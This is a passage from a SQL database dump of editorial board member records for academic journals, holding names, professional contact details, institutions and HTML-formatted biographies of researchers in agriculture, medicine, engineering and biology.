metals in crops: transport and degradation processes in soils, and links with their levels in waters and food products&rdquo;; and </span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">3.-&ldquo;Effect of pre- and post-harvest, technological and cooking treatments on food functionality&rdquo;.</span></p>\r\n',1,'2018-12-27 21:22:20','2018-12-27 21:43:29',1),(367,38,20,'1545976271.jpg','Weiguang Wang','weiguang.wang@manchester.ac.uk','+44 (0) 775 109 5757','Research Assistant in the Manufacturing Group','Executive editor','United Kingdom','The University of Manchester','03','<p style=\"margin-left:0.25in; margin-right:0.25in\"><span style=\"font-family:Times New Roman,Times,serif\">Weiguang Wang is a PhD graduate from the School of Mechanical, Aerospace and Civil Engineering, The University of Manchester, UK; Research Assistant in the Manufacturing Group and its Medical Engineering Research Centre, School of Mechanical, Aerospace and Civil Engineering, The University of Manchester, UK; Teaching assistant in Additive Manufacturing &amp; 3D Product Modelling, and Metrology, Robotics &amp; Bioengineering for the Mechanical Engineering Program and Master Programs in Advanced Manufacturing Technology &amp; Systems Management, and Mechanical Engineering Design.</span></p>\r\n\r\n<p style=\"margin-left:0.25in; margin-right:0.25in\"><span style=\"font-family:Times New Roman,Times,serif\">His research focuses on the design, fabrication and evaluation of electro-active scaffolds for tissue engineering, which requires an extensive knowledge on additive manufacturing, biomaterials and regenerative medicine. His PhD project, fully funded by the School of Mechanical Aerospace and Civil Engineering and the Marwick Bequest for Postgraduate Research in Engineering, The University of Manchester, UK, focused on the use of polycaprolactone scaffolds reinforced with graphene and carbon nanotubes to modulate cell proliferation and differentiation. As part of this research project, scaffolds with different architectures and material compositions were assessed from morphological, mechanical, and biological (<em>in vivo</em> and <em>in vitro</em>) points of view, showing that they are suitable candidates to be used for bone regeneration.</span></p>\r\n\r\n<p style=\"margin-left:0.25in; margin-right:0.25in\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"font-size:16px\">Main Research Interests:</span> </strong>3D Printing/Bioprinting; Biomaterials; Tissue Engineering;<strong> </strong>Regenerative Medicine.</span></p>\r\n\r\n<p style=\"margin-left:0.25in; margin-right:0.25in\">&nbsp;</p>\r\n',1,'2018-12-28 11:21:10','2018-12-28 11:21:10',1),(368,38,20,'1545976761.jpg','Rusu  Teodor','rusuteodor23@yahoo.com','0040724719774','Director, Office of Soil Survey and Agrochemical Cluj','Executive editor','Europe','University of Agricultural Sciences and Veterinary Medicine Cluj-Napoca','04','<p><span style=\"font-family:Times New Roman,Times,serif\">Prof. dr. Rusu Teodor from University of Agricultural Sciences and Veterinary Medicine Cluj-Napoca, Romania, teach Agrotechnics, Experimental Techniques and Rural Development. Director of the research center for Sustainable Agricultural Systems and Minimum Tillage Technologies (since 2011), has worked as a soil pedologist for the 3 years, and agrotechnics for the last 20 years, specializing in soil monitoring, soil tillage, soil quality, minimum tillage, no-tillage, sustainable agricultural technologies and climatic changes. PhD Supervisor on Agrotechnics (since 2009). Deputy Director of the Department of Technical and Soil Sciences (2009-present). Director, Office of Soil Survey and Agrochemical Cluj (2014-present). He was Vice-Dean of the Faculty of Agriculture (2008-2012), Master Program responsible Rural Development (2010-present) and judicial-technical expert in Agriculture specialization. Professional experience - through the publication of 25 books, courses and guidance published in national and international publishers; 315 scientific papers (from which 47 ISI) and consultancy; organizing symposia: soil compaction - processes and consequences (2007); soil tillage systems (ed. 5: 2008; ed. 6: 2011; ed. 7: 2013; ed. 8: 2015); ESSC Conference 2016. Hirsch factor: Web of Science 7; Scopus 8; Google Scholar 12; Publons 8.</span></p>\r\n\r\n<p><span style=\"font-size:14px\"><strong><span style=\"font-family:Times New Roman,Times,serif\">Research Interest:</span></strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Agrotechnics, herbology and soil management; soil sciences &ndash; pedologic studies and land evaluation, pedoameliorations and soil erosion control studies; technique experimentally and analysis of variance; soil conservation systems for a sustainable agriculture, anti-erosion systems, minimum soil tillage, no-tillage, carbon sequestration; integrated control of weeds and correct use of herbicides; weed biology and ecology, weed assessment; crop rotation and differentiated agrotechnics; rural development and climatic changes.</span></p>\r\n',1,'2018-12-28 11:29:20','2018-12-28 11:29:20',1),(369,38,20,'1545976949.jpg','Idress Hamad Attitalla Saleh','idressattitalla2004@yahoo.com','690421-5198','Professor','Editorial board member','Libya','University of Omar Al-Mukhtar','05','',1,'2018-12-28 11:32:28','2018-12-28 11:32:28',1),(370,38,20,'1545977204.jpg','Waleed Fouad Abobatta','wabobatta@yahoo.com','0020235720617','Director','Executive editor','Egypt','Horticulture Research Institute – Agriculture Research Center','06','<p style=\"margin-left:13.5pt; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Abobatta is a Dr at Agriculture Research Center, he&rsquo;s a member of Scientific Committee for Greenhouses Plantation, and he is a member of Scientific Team for National Campaign for Navel Orange improvement, Abobatta is a supervisor of M. Sc. And Ph.D. thesis in different branches of agricultural science.</span></span></p>\r\n\r\n<p style=\"margin-left:13.5pt; margin-right:0in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Abobatta published more than 17 books and research papers till now. </span>he has been serving as an editorial board member <span style=\"color:black\">in many journals like </span>Acta Science Agriculture,<a href=\"https://actascientific.com/ASAG.php\">https://actascientific.com/ASAG.php</a><span style=\"color:black\"> ,Agriculture, Forestry and Fisheries, Science Publishing Group</span><a href=\"http://www.sciencepublishinggroup.com\">http://www.sciencepublishinggroup.com</a><span style=\"color:black\">,International Journal of Research in Clinical Medicine and Pharmacy Practice </span><a href=\"https://ijrcmpp.com\">https://ijrcmpp.com</a><span style=\"color:black\">Also, Abobatta member of Reviewer Committee of International Academy of Chemical, Civil &amp; Environment Engineering (IACCEE) </span><a href=\"http://iaccee.org/committee.php\">http://iaccee.org/committee.php</a><span style=\"color:black\">&nbsp;&nbsp; and many other journals all-over the world.</span></span></p>\r\n\r\n<p style=\"margin-left:13.5pt; margin-right:0in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Dr. Abobatta has been identified as an influential speaker for seminar, symposium, workshop, training and classes. He&rsquo;s consultant of Nano application in the agricultural sector and Magnetizing treated water in agriculture in the Arabian region.</span></span></p>\r\n\r\n<p style=\"margin-left:13.5pt; text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:black\">Research Interest:</span></strong></span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Dr. Waleed Abobatta research interests areIntegrated Horticulture crops management, Nano application in the agricultural sector, plant physiology, application of hydrogel polymer in agriculture, Greenhouses Plantation, Jojoba production, and the soilless culture of vegetables.</span></span></p>\r\n',1,'2018-12-28 11:36:43','2018-12-28 11:36:43',1),(371,38,20,'1546005307.jpg','Dr. Miklas Scholz','m.scholz@salford.ac.uk','','Faculty of Engineering','Executive editor','Sweden','Lund University','03','<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Miklas Scholz</strong>, cand ing, BEng (equiv), PgC, MSc, PhD, CWEM, CEnv, CSci, CEng, FHEA, FIEMA, FCIWEM, FICE, Fellow of IWA, VINNOVA Fellow, Marie Curie Senior Fellow, Humboldt Fellow, is a Prof. in Water Resources Engineering at Lund University, Sweden. He holds the Chair in Civil Engineering at The University of Salford, UK. He is a Professor and the Head of the Civil Engineering Research Group in Salford. Miklas is a Distinguished Professor at Johannesburg University. Prof. Scholz has shown excellence evidenced by world-leading publications, postgraduate supervision and recognised research impact. He has published four books and 221 journal articles. Prof. Scholz has total citations of 5027 (above 3234 citations since 2013), resulting in an h-index of 35 and an i10-Index of 111 (18 August 2018). About 48% each of his research is in wastewater treatment and water resources management, respectively. The remaining 4% are in capillary processes and water treatment.</span></p>\r\n\r\n<p><span style=\"font-size:14px\"><strong><span style=\"font-family:Times New Roman,Times,serif\">Research Interest:</span></strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">civil engineering; environmental engineering; environmental science; water resources engineering; agricultural water management; pollution control; wastewater treatment; decision support systems; treatment wetlands; integrated constructed wetlands; hydrology; sustainable flood retention basins; sustainable drainage systems; permeable pavement systems; ponds; capillary suction time.</span></p>\r\n',1,'2018-12-28 19:25:07','2018-12-28 19:25:07',1),(372,38,20,'1546005816.jpg','Prof. Ayse Yesilayer','ayse.yesilayer@gop.edu.tr','+90 356 252 1616','Assistant Professor, Plant Protection','Executive editor','Turkey','Gaziosmanpa?a  University ','08','',1,'2018-12-28 19:33:35','2018-12-28 19:33:35',1),(373,38,20,'1546006246.jpg','Dr. Ashutosh Chauhan','ashutosh_biotech2006@yahoo.com','+919675598199','Faculty of Biomedical Sciences','Editorial board member','India','Uttarakhand Ayurved University','09','<p><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:14px\"><strong>Research Fields of Interest:</strong></span><br />\r\n1. Molecular approaches in Ayurveda.<br />\r\n2. Discovery and development of Herbal Medicines.<br />\r\n3. Concepts of Diabetes, Inflammation and aging in Ayurveda.<br />\r\n4. Discovery and evaluation of anticancer agents.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:14px\"><strong>Membership:</strong></span><br />\r\n1. Life time member of Association of Biomedical Scientist (ABMS), Postgraduate Institute of Medical Education Research (PGIMER) Chandigarh.<br />\r\n2. Lifetime member of Vijnana Bharti</span></p>\r\n',1,'2018-12-28 19:40:45','2018-12-28 19:40:45',1),(374,38,20,'1546006606.jpg','Arshad Mehmood Abbasi','arshad799@yahoo.com','+92-3162294107','Department of Environmental Sciences','Executive editor','Pakistan','COMSATS University Islamabad','10','<p><span style=\"font-family:Times New Roman,Times,serif\">Arshad Mehmood Abbasi (PhD-Post Doc.) is working as Assistant Professor of Environmental Sciences at COMSATS University, Islamabad, Abbottabad Campus- Pakistan. Dr. Abbasi received his PhD in Ethnobotanical and Nutraceuticals aspects of plant species of Lesser Himalayas, Pakistan from Quaid-i-Azam University Islamabad Pakistan in 2013. Dr. Abbasi research is mainly focused on: ethnobotany, nutraceuticals, medicinal and food plant resources and phytochemistry. To date Dr. Abbasi has authored 80 research articles and 3 Book Chapters. Dr. Abbasi has also two international books in his credit: &ldquo;Medicinal Plant Biodiversity of Lesser Himalayas-Pakistan&rdquo; and Wild Edible Vegetables of Lesser Himalayas: Ethnobotanical and Nutraceutical Aspects published by Springer, USA in 2012 and 2015, respectively. So far, Dr. Abbasi has been awarded three outstanding research awards by Higher Education Commission (HEC) of Pakistan, Best researcher award by host University and foreign expert certificate by Chinese Government along with many other certificates. Dr. Abbasi is also serving as volunteer editor and reviewer of several journals of international repute including Journal of Ethnobiology and Ethnomedicines, Journal of Ethnopharmacology, Journal of Herbal Medicine, Food Chemistry, Pharmaceutical Biology, European Journal of Medicinal Plants, Pakistan Journal of Pharmaceutical Sciences, Asian Pacific Journal of Tropical Biomedicine and Pakistan Journal of Botany among several others. Dr. Abbasi is also member of International Society of Ethnobiology; Society of Ethnobiology, University of North Texas, USA; American Chemical Society (ASC) and Institutional APIFP Champion: Asia Pacific Institute of Food Professionals.</span></p>\r\n',1,'2018-12-28 19:46:45','2018-12-28 19:47:29',1),(375,32,20,'1546702833.jpg','Dr Faissal TARRASS','ftarrass@hotmail.com','212 522 870 804','Senior Consultant Nephrologist,Diploma of Specialization in Nephrology','Editorial board member','Morocco','University of Casablanca','05','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Dr Faissal TARRASS, MD, MS is a private practice nephrologist, serving patients at the Center of Hemodialysis 2 Mars, in Casablanca, Morocco.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Dr. TARRASS is internationally recognized in the Marquis Who&#39;s Who of the World. He currently serves on the Editorial Board of many peer-reviewed medical Journals, and his is an author of numerous articles, paper presentations and book chapters.&nbsp;His research interests are focused on environmental nephrology and sustainable issues in healthcare. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Since 2004, his group is involved in studying the increased environmental burden of dialysis treatment. He had published in 2008, the first report of water conservation in hemodialysis.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">His efforts in water conservation through many international publications had participated in increasing awareness of environmental challenges among renal physicians.</span></p>\r\n',1,'2019-01-05 21:10:32','2019-02-04 12:25:40',1),(376,26,20,'1546703160.jpg','Dr.Giuseppe Murdaca','Giuseppe.Murdaca@unige.it','+39-010-3537924','Associate Professor-Internal Medicine','Editorial board member','Italy','Di.M.I.-University of Genova','13','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#686868\">Giuseppe Murdaca has received his PhD in Science and Space Engineering at the University of Genova (Italy) during the period of 2000-2003. Currently, he is working as Assistant professor in Internal Medicine University of Genova (Italy).</span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#686868\">His research has included Immunodeficiency Autoimmunity Neuro-endocrino-immunology Pharmacogenomics.<br />\r\n<br />\r\nBased on this research and fellowship training he has received several awards and honors, such as:<br />\r\nPrize for young researchers of the study, assigned by the GILS, with the following motivation: &quot;Standardization of a method to assess impairment by skinfold thickness skin&quot;, delivered on the occasion of the &quot;Day VII Italian to fight Scleroderma&quot; (Milan, 17/3 / 2001).</span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#686868\">Award for one of the three best oral presentations at the Ninth Congress of the Inter-SIMI Piemonte and Valle D&#39;Aosta, Liguria (Genoa, 06.17.2004): Murdaca G., Fenoglio D., M. Setti, Brenci S., Villa R., Pontali E., A. Kunkl, Indiveri F., Puppo F. &quot;Generation of CD4 + lines specific for Pneumocystis carinii and Candida albicans obtained from HIV + patients. Meaning of the coexpression of IFN-? and IL-4 &quot;.</span></span></p>\r\n',1,'2019-01-05 21:15:59','2019-01-05 21:15:59',1),(377,26,20,'','Sara Bozzini','sara-84@tiscali.it','3498811590','Internal Medicine Department','Editorial board member','Italy','University of Pavia','14','<p><span style=\"font-family:Times New Roman,Times,serif\">Sara Bozzini is graduated in Biology Experimental and Applied Biology and has received PhD in Internal Medicine and Medical Therapy. She is currently a PhD researcher at the department of internal medicine and medical therapy at the University of Pavia. She has reached ability to perform the main molecular biology techniques. The research lines involved in the genetic analysis (PCR, RT-PCR, sequencing in Sanger, PCR real time) of SNPs in genes involved in the pathophysiological process related to the predisposition to ischemic cardiopathy, and especially in inflammation. In addition, she is involved in studying possible epigenetic alterations that may be implicated in cardiovascular diseases and in particular the different expression of miRNAs. She also deals with genetic alterations, different protein expression and plasma levels of biomarkers in IBD, depression and CFS. She has also been involved in clinical trials involving hypertension, pain sensitivity in silent ischemia and vascular disease.</span></p>\r\n',1,'2019-01-05 21:19:41','2019-01-05 21:19:41',1),(378,26,20,'1546703764.png','Ahmed Nasr Ghanem','anmghanem1@gmail.com','00201020883243','Consultant','Editorial board member','Egypt','Mansoura University','15','<p><span style=\"font-family:Times New Roman,Times,serif\">Ahmed Nasr Ghanem was qualified from Mansoura University, Egypt 1974. Passed is FRCS in 1983 and obtained his MD degree in 1988. He worked as Consultant Urologist Surgeon in Egypt, Saudi Arabia and United Kingdom. He reported over 40 publications. Now he is happily retired in Egypt.</span></p>\r\n',1,'2019-01-05 21:26:03','2019-01-05 21:26:03',1),(379,24,20,'1546705364.jpg','Anna Dolcimascolo','anna.dolcimascolo@unict.it','+39.3313062208','Biomedical and Biotechnological Sciences','Editorial board member','Italy','University of Catania','14','<p><span style=\"font-family:Times New Roman,Times,serif\">Anna Dolcimascolo was born in Enna on the 20th of February 1993, but since 2012 she lives in Catania. She attended the scientific high school &ldquo;Pietro Farinato&rdquo; in Enna and she graduated top of her class in Pharmacy at University of Catania. Her degree thesis about de-regulation of microRNA in thyroid tumors is nominated for the prize awarded by the Pharmacists&#39; Order of Catania. She started her research activity at Department of Biomedical and Biotechnological Sciences (BIOMETEC), University of Catania, Via Santa Sofia, 89, 95123, Catania (CT), Italy. Her research interests are related to microRNA profile in cancer and Regenerative medicine strategies applied to osteo-chondral regeneration.</span></p>\r\n',1,'2019-01-05 21:52:43','2019-01-05 21:52:43',1),(380,24,20,'1546705629.jpg','Chung-Yi Chen','XX377@fy.edu.tw','+886-7-7811151-6200','Dean and Professor','Editorial board member','Taiwan','Fooyin University','15','<p><span style=\"font-family:Times New Roman,Times,serif\">President Chen obtained PhD in 1999 at Kaohsiung Medical University. Currently teaches in Fooyin University, as most young is also the most senior professors and deans. The past 20 years, he has his scientific interests focused on life-threatening diseases, including traditional Chinese medicine used for cancer research. Analysis in recent year&rsquo;s major active ingredients such as ginger, pepper and cinnamon used in gastrointestinal cancer, anti-inflammatory, antioxidant, antiparasitic, and other topics. President Chen specializes in isolation, purification and structural analysis of active components of plants. President Chen directed against active constituents of oral cancer, liver cancer, and rectal cancer. President Chen was just over 45 years old, but his work has more than 250 papers, Taiwan one of the young talents. Professor Chen was invited more than 450 kinds of Journal editorial boards. Professor Chen won numerous awards at home and abroad, from 2015, was awarded the lifetime achievement award; from 2016 was awarded the health care &amp; biotechnology merit award; from 2017 was awarded the nation academic award.</span></p>\r\n',1,'2019-01-05 21:57:08','2019-01-05 21:57:08',1),(381,24,20,'1546705819.jpg','Dr. Nooshin Bagherani','nooshinbagherani@yahoo.com','','Molecular Medicine, School of Advanced Medical Tenchnologies','Editorial board member','Iran','Tehran University of Medical Sciences','16','<p><span style=\"font-family:Times New Roman,Times,serif\">Nooshin Bagherani is dermatologist, bachelor of law and master of international law. She is independent researcher at Dr. Nooshin Bagherani&rsquo;s office, Arak, Iran. She is on editoral board of many journals such as Dermatologic Therapy, Global Dermatology, Journal of Procedural Dermatology, &nbsp;Journal of Clinical &amp; Experimental Pathology, Cosmetology &amp; Oro Facial Surgery, Oral Health Case Reports, Journal of Investigative Dermatology, Venereology and Cosmetology, Journal of Pharmacy and Pharmacology, OA Dermatology, Medical Sciences, and Health Sciences Research. Furthermore, she collaborates with many journals as reviewer such as Indian Journal of Dermatology, BMC Dermatology, Dermatologic Therapy, Global Dermatology, Journal of Pigmentary Disorders, International Journal of Clinical Medicine Research, International Journal of STD &amp; AIDS, Pharmacologia, and Journal of Clinical &amp; Experimental Pathology. With accompanying Prof. Bruce R Smoller, she was guest editor of special issue entitled &ldquo;The history of novel dermatology and dermatopathology in different countries&rdquo; related to the journal of &ldquo; Global Dermatology&rdquo;.&nbsp; Now, she is associate editor of BMC Dermatology and Global Dermatology.</span></p>\r\n',1,'2019-01-05 22:00:19','2019-01-05 22:00:19',1),(382,21,20,'','Vivek Bhaskaran','vivekb@bwh.harvard.edu','+1 (857) 654-0963','Department of Neurosurgery','Editorial board member','USA','Brigham & Woman\'s Hospital','11','',1,'2019-01-05 22:04:41','2019-01-05 22:04:41',1),(383,38,20,'1546706397.jpg','Dr. Kaveh Ostad-Ali-Askari','kaveh.oaa2000@gmail.com','','Professor','Editorial board member','Iran','Islamic Azad University Of Najaf abad','11','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Dr. Kaveh Ostad-Ali-Askari</strong><span style=\"color:black\"> is a Ph.D. of Civil Engineering, Postdoctoral Student of Civil Engineering, Department of Water Resources Engineering, Faculty of Civil Engineering, Najafabad Branch, Islamic Azad University, Najafabad, Isfahan, Iran.</span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">He collaborates as Editorial Board Membership in more than 45 Journals and as reviewers in more than 30 Journals. Currently, Associate, Editor-in-Chief of of IJREH. He has contributed to more than 285 publications in Journals, Books and Technical Reports. He was a Visiting Assistant Professor at Canadian University Dubai, and American University in Dubai. On the research side, he started a research partnership in 2017 with Concordia University in Montreal, Quebec, Canada.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>His interested topics including</strong>Groundwater Hydrology, Irrigation and Drainage Engineering<strong>, </strong>Sustainable Development andEnvironmental Assessment, Climate and Integrated and Sustainable Water Resource Management, Water System Engineering, Water Resources Planning, Artificial Neural Network and Genetic Algorithm.He has contributed to more than 194 publications in Journals, Books, or as Technical Reports. Currently, he is as Faculty Member of Department of Civil Engineering, Islamic Azad University,<span style=\"color:black\"> Isfahan</span>(Khorasgan) <span style=\"color:black\">Branch, Iran.</span></span></p>\r\n',1,'2019-01-05 22:09:56','2019-01-05 22:09:56',1),(386,25,20,'1546709520.jpg','Irmak Baran','irmakmor@yahoo.com','+903125081212','Associate Professor, Clinical Microbiology','Editorial board member','Turkey','Ankara Numune Education and Research Hospital','14','<p><span style=\"font-family:Times New Roman,Times,serif\">Irmak Baran was born in Ankara, Turkey. She attended TED Ankara College High School. After that she studied at Gazi Univercity Medical School. After graduating as MD, she trained as a Medical Microbiologist in Ankara Numune Training and Research Hospital. She is currently working as an Associate Professor in the same hospital. She has published research articles in many SCI journals. Her research interests are antimicrobial resistance, MALDI-TOF and molecular bacteriology. She knows English, French and Turkish. She is a proud cat mom and avid choir soprano in her free time.</span></p>\r\n',1,'2019-01-05 23:01:59','2019-01-05 23:01:59',1),(387,31,20,'','George C. Charalambous ','drcharalambous@yahoo.gr','','Head of Emergency Department (Director),Associate Professor, School of Health Sciences','Editorial board member','Greece','Frederick University','17','',1,'2019-01-05 23:09:09','2019-01-05 23:09:09',1),(388,31,20,'1546710156.jpg','Hosni Hasan','hosnihasan@salam.uitm.edu.my','+60193335261','Head of Study (Sports Science) / Senior Lecturer Faculty of Sport Science and Recreation','Editorial board member','Malaysia','Universiti Teknologi MARA','15','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Hosni Hasan is currently the Head of Sports Science Studies in the Faculty of Sports Science and Recreation (FSR), Universiti Teknologi MARA (UiTM), Malaysia. He completed his MSc. in Human Movement at University of Western Australia (2006) and PhD in Motor Control and Learning at Queensland University of Technology, Australia (2016). As an academician in UiTM since 2007, he is a lecturer/resource person for several undergraduate and post-graduate courses such as Motor Control and Learning, Sports Biomechanics and Human Motor System.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">His research interests include textured and compression materials, kinematic analyses in football, movement variability/coordination, perception-action coupling and elite-novice performances. His research work have been presented at local and international conferences such as International Conference on Movement, Health and Exercise (Malaysia, 2016-2017), Second Scientific Conference in Motor Skill Acquisition (Finland, 2017), World Conference of Science in Football (Denmark, 2015) and Asia-Pacific Football and Futsal Seminar (Australia, 2014). </span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">He is currently involve with UiTM Football Club (competing in Malaysian Premier League) as a Sports Scientist (in the area of skill acquisition and sports biomechanics). Previously, he also served as a support climber (sports first aider) during UiTM Everest Expedition (2004) and Merdeka de Everest Expedition (2007).</span></p>\r\n',1,'2019-01-05 23:12:36','2019-01-05 23:12:36',1),(389,31,20,'1546710414.jpg','Seifollah Gholampour','s.gholampour@iau-tnb.ac.ir','+98 21 77009836','Assistant Professor,Department of Biomedical Engineering, Tehran North Branch','Editorial board member','Iran','Islamic Azad University','16','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Seifollah Gholampour is an Assistant Professor at the Department of Biomedical Engineering, Tehran North Branch, Islamic Azad University, Tehran, Iran. He is the Head of Biomedical Department of Tehran North Branch, Islamic Azad University, Tehran, Iran. He has been graduated in MSc and PhD of Biomedical Engineering at Science and Research Branch, Islamic Azad University, Tehran, Iran. He is Editor-in-Chief of Majlesi Journal of Mechatronic Systems that scope of this journal is related to mechatronics in medical science. He is the member of Editorial board of International Clinical Neuroscience Journal, Journal of Current Updates in Stroke &ndash; OPR Science, Journal of&nbsp;SRL Biomedical Engineering &amp; Biomedical Science, Journal of Innovative Biomedical Technologies and Health Care&nbsp;(IBTHC), European Journal of Clinical and Biomedical Sciences and Journal of SRL Neurological Disorders. He has become a member of young researchers and elite club and member of Committee of new technologies in medicine in Iran. He is the chairman of research and development part at Pishro Caspian (It is the manufacturer of medical instruments in Tehran, Iran). His research interests are mathematical simulation and modeling in biological systems, Stroke, Evaluation of clinical symptom of neuroscience disorders, Cerebral Circulation, Neuroimaging, Cerebral Aneurysm, Hydrocephalus, Spine Biomechanics, Modelling of Blood Circulation in the Brain, Simulation of CSF Circulation, Experimental Research on Biological Fluid, Modelling of Head Injury, Numerical Simulation of Neurological disorders, Material properties of soft tissue and heat exchangers in biological systems.</span></p>\r\n',1,'2019-01-05 23:16:53','2019-01-05 23:16:53',1),(390,31,20,'','Mohsen Sharifi Renani','Mohsen.SharifiRenani@du.edu','(419) 280-1461','Graduate Research Assistant,Center for Orthoapedic Biomechanics','Editorial board member','USA','Denver University','17','',1,'2019-01-05 23:21:18','2019-01-05 23:21:18',1),(391,23,20,'1546710931.jpg','Arvind Sharma','arvinds@unr.edu','+1 (775) 430-8218','Department of Biochemistry and Molecular Biology','Editorial board member','USA','University of Nevada','10','<p><span style=\"font-family:Times New Roman,Times,serif\">I have worked on insects, particularly mosquitoes from the past seven years trying to understand their basic biology and their interaction with the parasite, with a long-term goal to develop effective malaria control strategies using genetic methods.&nbsp; My past research experiences have allowed me to gain significant expertise in molecular biology and population genomics. In addition to my work on mosquitoes, my earlier research work on biting midges have provided me with an enhanced understanding in terms of their abundance and vectorial capacity with changing climatic conditions. I am particularly interested in Insulin-like peptides which seem to play an important role in the physiology of mosquitoes. My current research work focuses on ticks, which is a vector of Lyme`s disease particularly in northeastern and midwestern parts of the United States of America. I am trying to understand the DNA methylation pattern in different life stages and in sensory organs. In addition to this, I am working on understanding the population genetic structure of the deer ticks in the United Staes through next-gen sequencing (RADseq). For one of my project, I am working to identify the differentially expressed genes during different life stages of ticks with a long-term goal of knocking them out using the CRISPR/Cas9 system. </span></p>\r\n',1,'2019-01-05 23:25:30','2019-01-05 23:25:30',1),(392,23,20,'1546711217.jpg','Ahmed Mostafa Elsayed','ahmed_elsayed@daad-alumni.de','','Center of Scientific Excellence for Influenza Viruses, National Research Center ','Editorial board member','Germany','Justus-Liebig-University Gießen','11','',1,'2019-01-05 23:30:17','2019-01-21 15:05:16',1),(393,23,20,'1546711409.jpg',' Alexander Birbrair','birbrair@icb.ufmg.br','(55) 31 983806886','Department of Pathology','Editorial board member','Brazil','Federal University of Minas Gerais','11','',1,'2019-01-05 23:33:31','2019-01-05 23:33:31',1),(395,23,20,'1546747217.jpg','Cristina-Crenguta Albu','crenguta.albu@yahoo.com','','Associate Professor of Department of Medical Genetics','Editorial board member','Romania','Bucharest \"Carol Davila\" University of Medicine and Pharmacy','14','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Dr. Cristina-Crenguta Albu is an Associate Professor of Department of Medical Genetics at Bucharest, &quot;Carol Davila&quot; University of Medicine and Pharmacy, Romania and General Manager of Bucharest &quot;Alco San&quot; Medical Clinic, Romania.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">She received her M.D. degree in Medicine from Bucharest, &quot;Carol Davila&quot; University of Medicine and Pharmacy, Romania, in 1991 and her Ph.D. degree in Medicine (Ophthalmology) from Bucharest &quot;Carol Davila&quot; University of Medicine and Pharmacy, Romania in 2001. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Dr. Cristina-Crenguta Albu is a member of several scientific societies including International Society for Genetic Eye Disease &amp; Retinoblastoma, American Society of Human Genetics, European Society of Human Genetics, Pan-American Association of Ophthalmology, American Academy of Ophthalmology, European Society of Pediatric Ophthalmology.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">She serves on the editorial board of <a href=\"https://bioinfopublication.org/journal.php?opt=azjou&amp;jouid=BPJ0000232&amp;detail=reviewers\">International Journal of Medical and Clinical Research</a>, Journal of Genetics and Genomes, Genetics and Genetic Disorders, &nbsp;Journal of Chemical Biology &amp; Pharmaceutical Chemistry, International Gazette Of Research and ePublishers.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Dr. Cristina-Crenguta Albu is author and co-author over 200 publications (medical textbooks, articles and studies published in medical journals and conferences) in the fields of prenatal genetics diagnosis and ophthalmology.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Her Research Interest is focused on medical genetics, prenatal diagnosis, ophthalmogenetics and oculo-orbitar ultrasound examination.</span></p>\r\n',1,'2019-01-06 09:30:16','2019-01-06 09:30:16',1),(396,23,20,'1546747506.jpg','Amin Ebrahimi','aminebrahimi@shahroodut.ac.ir','+989358909792','Assistant Professor, Department of Agronomy and Plant Breeding','Editorial board member','Iran','Shahrood University of Technology','15','',1,'2019-01-06 09:35:06','2019-01-06 09:35:06',1),(397,23,20,'1546747715.jpg','Osama Mohamed Ahmed','osamamoha@yahoo.com','','Professor of Physiology Division, Zoology Department','Editorial board member','Egypt','Beni-Suef University','16','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Osama M. Ahmed&nbsp;was granted Ph.D. (in 2000) in Physiology from Faculty of Science, Cairo University, Egypt. Dr. Ahmed is a professor of physiology at Faculty of Science, Beni-Suef University Beni-Suef, Egypt. He has authored/co-authored more than 90 publications, and has also written two book chapters. He is an editorial board member in more than 30 international journals. He was awarded the State Incentive Prize (2014), Beni-Suef University Excellence Prize (2014) and the state excellence honor of the first class (2017). He is principal investigator and co-principal investigator in many research projects.</span></p>\r\n\r\n<p style=\"text-align:left\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Research Interest</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">His research interests are: diabetes mellitus (type 1, type 2 and neonatal diabetes 